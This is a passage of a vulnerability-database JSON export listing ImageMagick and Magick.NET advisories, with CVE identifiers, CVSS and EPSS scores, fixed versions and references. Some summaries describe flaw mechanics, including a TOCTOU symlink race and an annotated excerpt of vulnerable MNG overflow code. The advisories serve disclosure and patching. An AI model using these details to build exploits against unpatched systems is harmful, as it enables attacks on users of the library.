"USN-6200-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/6200-1/" }, { "reference_url": "https://usn.ubuntu.com/6200-2/", "reference_id": "USN-6200-2", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/6200-2/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74887?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@13.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1btu-wnd9-bfbf" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-g8u7-m2yd-9key" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pqp5-pw9k-vyew" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-px2s-euef-ayeh" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-r168-y44g-cybn" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@13.0.0" } ], "aliases": [ "CVE-2023-1289", "GHSA-j96m-mjp6-99xr" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-hm3k-t14d-7kep" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62836?format=api", "vulnerability_id": "VCID-j4n2-8g72-q3fd", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service via heap use-after-free in XMP profile processing", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40311.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40311.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40311", "reference_id": "", "reference_type": "", "scores": [ { "value": "6e-05", "scoring_system": "epss", "scoring_elements": "0.00413", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40311" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40311", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40311" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:48:25Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/5facfecf1abb3fed46a08f614dcc43d1e548e20d", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:48:25Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/5facfecf1abb3fed46a08f614dcc43d1e548e20d" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:48:25Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r83h-crwp-3vm7", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:48:25Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r83h-crwp-3vm7" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40311", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40311" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134627", "reference_id": "1134627", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1134627" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458051", "reference_id": "2458051", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458051" }, { "reference_url": "https://github.com/advisories/GHSA-r83h-crwp-3vm7", "reference_id": "GHSA-r83h-crwp-3vm7", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-r83h-crwp-3vm7" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-40311", "GHSA-r83h-crwp-3vm7" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-j4n2-8g72-q3fd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50786?format=api", "vulnerability_id": "VCID-j589-992a-jfa7", "summary": "ImageMagick has a Path Policy TOCTOU symlink race bypass\n`domain=\"path\"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28689.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28689.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28689", "reference_id": "", "reference_type": "", "scores": [ { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00757", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28689" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28689", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28689" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445891", "reference_id": "2445891", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445891" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28689", "reference_id": "CVE-2026-28689", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28689" }, { "reference_url": "https://github.com/advisories/GHSA-493f-jh8w-qhx3", "reference_id": "GHSA-493f-jh8w-qhx3", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-493f-jh8w-qhx3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-493f-jh8w-qhx3", "reference_id": "GHSA-493f-jh8w-qhx3", "reference_type": "", "scores": [ { "value": "6.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T15:56:31Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-493f-jh8w-qhx3" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28689", "GHSA-493f-jh8w-qhx3" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-j589-992a-jfa7" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50319?format=api", "vulnerability_id": "VCID-jtta-svbt-wfcv", "summary": "Image Magick has a Memory Leak in coders/ashlar.c\nMemory leak exists in `coders/ashlar.c`. The `WriteASHLARImage` allocates a structure. However, when an exception is thrown, the allocated memory is not properly released, resulting in a potential memory leak.\n\n```\n```bash\n==78968== Memcheck, a memory error detector\n==78968== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.\n==78968== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info\n==78968==\n==78968== HEAP SUMMARY:\n==78968== in use at exit: 17,232 bytes in 4 blocks\n==78968== total heap usage: 4,781 allocs, 4,777 frees, 785,472 bytes allocated\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25969.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25969.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25969", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05451", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25969" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/a253d1b124ebdcc2832daac6f9a35c362635b40e", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/a253d1b124ebdcc2832daac6f9a35c362635b40e" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442116", "reference_id": "2442116", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442116" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25969", "reference_id": "CVE-2026-25969", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25969" }, { "reference_url": "https://github.com/advisories/GHSA-xgm3-v4r9-wfgm", "reference_id": "GHSA-xgm3-v4r9-wfgm", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-xgm3-v4r9-wfgm" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xgm3-v4r9-wfgm", "reference_id": "GHSA-xgm3-v4r9-wfgm", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xgm3-v4r9-wfgm" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25969", "GHSA-xgm3-v4r9-wfgm" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-jtta-svbt-wfcv" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57964?format=api", "vulnerability_id": "VCID-juaq-c8xf-rkb1", "summary": "imagemagick: integer overflows in MNG magnification\n## **Vulnerability Details**\n\nThe magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption.\n\nThe source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.\n\n```c\nstatic Image *ReadOneMNGImage(MngReadInfo* mng_info,\n const ImageInfo *image_info,ExceptionInfo *exception)\n{\n\n// Lots of stuff, this is effectively a state machine for the MNG rendering commands,\n// skip to the point where we start processing the \"MAGN\" command.\n\n if (memcmp(type,mng_MAGN,4) == 0)\n {\n png_uint_16\n magn_first,\n magn_last,\n magn_mb,\n magn_ml,\n magn_mr,\n magn_mt,\n magn_mx,\n magn_my,\n magn_methx,\n magn_methy;\n\n// Details unimportant, but each of the `magn_xxx` variables is read from the file.\n\n if (magn_first == 0 || magn_last == 0)\n {\n /* Save the magnification factors for object 0 */\n mng_info->magn_mb=magn_mb;\n mng_info->magn_ml=magn_ml;\n mng_info->magn_mr=magn_mr;\n mng_info->magn_mt=magn_mt;\n mng_info->magn_mx=magn_mx;\n mng_info->magn_my=magn_my;\n mng_info->magn_methx=magn_methx;\n mng_info->magn_methy=magn_methy;\n }\n }\n\n// Details unimportant, we load the image to be scaled and store it in `image`\n\n if (mng_type)\n {\n MngBox\n crop_box;\n\n if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) &&\n ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5)))\n {\n png_uint_32\n magnified_height,\n magnified_width;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Processing MNG MAGN chunk\");\n\n if (image->columns == 1)\n mng_info->magn_methx = 1;\n if (image->rows == 1)\n mng_info->magn_methy = 1;\n if (mng_info->magn_methx == 1)\n {\n magnified_width=mng_info->magn_ml; // [0]\n \n if (image->columns > 1)\n magnified_width += mng_info->magn_mr; // [1]\n\n if (image->columns > 2)\n magnified_width += (png_uint_32)\n ((image->columns-2)*(mng_info->magn_mx)); // [2]\n }\n\n// Different cases handle available scaling kinds, all of which have similar issues...\n\n// We now check whether the output image is larger than the input image in either\n// dimension, and if so, we will allocate a new image buffer of size\n// `magnified_width * magnified_height`.\n\n if (magnified_height > image->rows ||\n magnified_width > image->columns)\n {\n Image\n *large_image;\n\n// Snip...\n\n large_image->columns=magnified_width;\n large_image->rows=magnified_height;\n\n magn_methx=mng_info->magn_methx;\n magn_methy=mng_info->magn_methy;\n\n// In between here, we allocate the pixel buffer for `large_image`.\n\n /* magnify the rows into the right side of the large image */\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Magnify the rows to %.20g\",\n (double) large_image->rows);\n m=(ssize_t) mng_info->magn_mt;\n yy=0;\n length=(size_t) GetPixelChannels(image)*image->columns;\n next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n if ((prev == (Quantum *) NULL) ||\n (next == (Quantum *) NULL))\n {\n if (prev != (Quantum *) NULL)\n prev=(Quantum *) RelinquishMagickMemory(prev);\n if (next != (Quantum *) NULL)\n next=(Quantum *) RelinquishMagickMemory(next);\n image=DestroyImageList(image);\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n\n n=GetAuthenticPixels(image,0,0,image->columns,1,exception);\n (void) memcpy(next,n,length);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (y == 0)\n m=(ssize_t) mng_info->magn_mt;\n\n else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n m=(ssize_t) mng_info->magn_mb;\n\n else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)\n m=(ssize_t) mng_info->magn_mb;\n\n else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n m=1;\n\n else\n 